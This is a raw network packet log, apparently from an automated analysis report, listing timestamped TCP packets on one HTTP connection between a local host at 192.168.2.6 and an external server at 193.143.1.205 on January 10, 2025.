Jan 10, 2025 17:10:45.243297100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243305922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243333101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243345976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.243346930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.243388891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.245100975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245127916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245193005 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.245207071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245233059 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245250940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245266914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245282888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245287895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.245310068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245311975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.245326996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245342970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245357990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245361090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.245374918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245384932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.245393038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245409012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.245419025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.245450974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.246112108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283574104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283612967 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283631086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283646107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283663034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283679962 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283696890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283713102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283731937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283740044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.283750057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.283772945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.283823967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.301594019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.301615000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.301629066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.301770926 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.368758917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368783951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368794918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368814945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368827105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368839979 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368854046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368865013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368968010 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368979931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.368992090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369004965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369026899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.369026899 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.369081974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.369081974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.369697094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369762897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369781017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369793892 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369806051 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369817972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369822979 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.369833946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369844913 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369851112 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.369853973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.369858027 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.369909048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.378578901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.384358883 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.412967920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.413050890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.413192987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.413820982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.413856030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.413907051 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.413913965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.413960934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.413970947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414026022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414067984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414078951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414133072 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414169073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414175034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414197922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414242983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414252996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414294958 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414324999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414340973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414376974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414421082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414431095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414464951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414499044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414505959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414529085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414567947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414585114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414638996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414686918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414686918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414721966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414753914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414762974 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414808035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414836884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414850950 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414885998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414921999 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.414931059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.414973021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415008068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415014029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415040970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415076017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415081978 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415111065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415152073 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415163040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415214062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415246964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415255070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415281057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415332079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415385008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415436983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415472031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415486097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415505886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415540934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415553093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415591955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415627003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415640116 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415661097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415694952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415708065 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415729046 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415764093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415774107 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415797949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415832996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415843010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415867090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415901899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415909052 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.415931940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415966034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.415976048 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416003942 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416037083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416049957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416070938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416104078 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416131973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416137934 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416171074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416203976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416237116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416246891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416270971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416273117 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416306019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416317940 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416341066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416373014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416390896 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416407108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416445971 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416455984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416481018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416512966 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416526079 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416552067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416584015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416600943 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416619062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416651011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416665077 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416687965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416716099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416731119 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416749954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416786909 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416795015 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416816950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416851044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416862011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416886091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416918993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416932106 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.416954994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.416989088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417000055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.417023897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417052031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417068958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.417084932 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417118073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417130947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.417150974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417184114 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417196035 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.417222023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417254925 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417267084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.417288065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417323112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417330980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.417356014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417388916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417402029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.417424917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.417470932 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.423116922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.423218012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.423252106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.423285007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.423285961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.423331976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.460475922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460491896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460515022 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460530996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460552931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460568905 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460585117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460598946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460608006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460619926 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460630894 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460635900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460642099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460666895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.460710049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460722923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.460834026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.460834026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.461266041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461292028 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461304903 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461314917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461316109 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.461325884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461339951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461349010 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.461360931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461365938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.461375952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461388111 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461397886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.461401939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.461425066 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505271912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505304098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505316019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505327940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505340099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505346060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505352974 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505364895 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505371094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505383015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505389929 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505395889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505409002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505420923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505433083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505445957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505459070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505471945 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505484104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505520105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505532980 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505543947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505553961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505567074 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505573988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505573988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505573988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505573988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505573988 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505579948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505594015 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505595922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505610943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505624056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505624056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505636930 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505644083 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505673885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505686998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505698919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505717993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505724907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505734921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505748034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505750895 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505760908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505779982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505852938 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505889893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505892038 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.505903959 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.505939007 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506017923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506036997 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506048918 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506059885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506072998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506078959 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506088018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506100893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506103992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506124973 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506231070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506243944 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506257057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506268978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506273031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506282091 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506295919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506321907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506373882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506386042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506398916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506412029 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506419897 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506424904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506438017 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 17:10:45.506450891 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:10:45.506477118 CET	49709	80	192.168.2.6	193.143.1.205
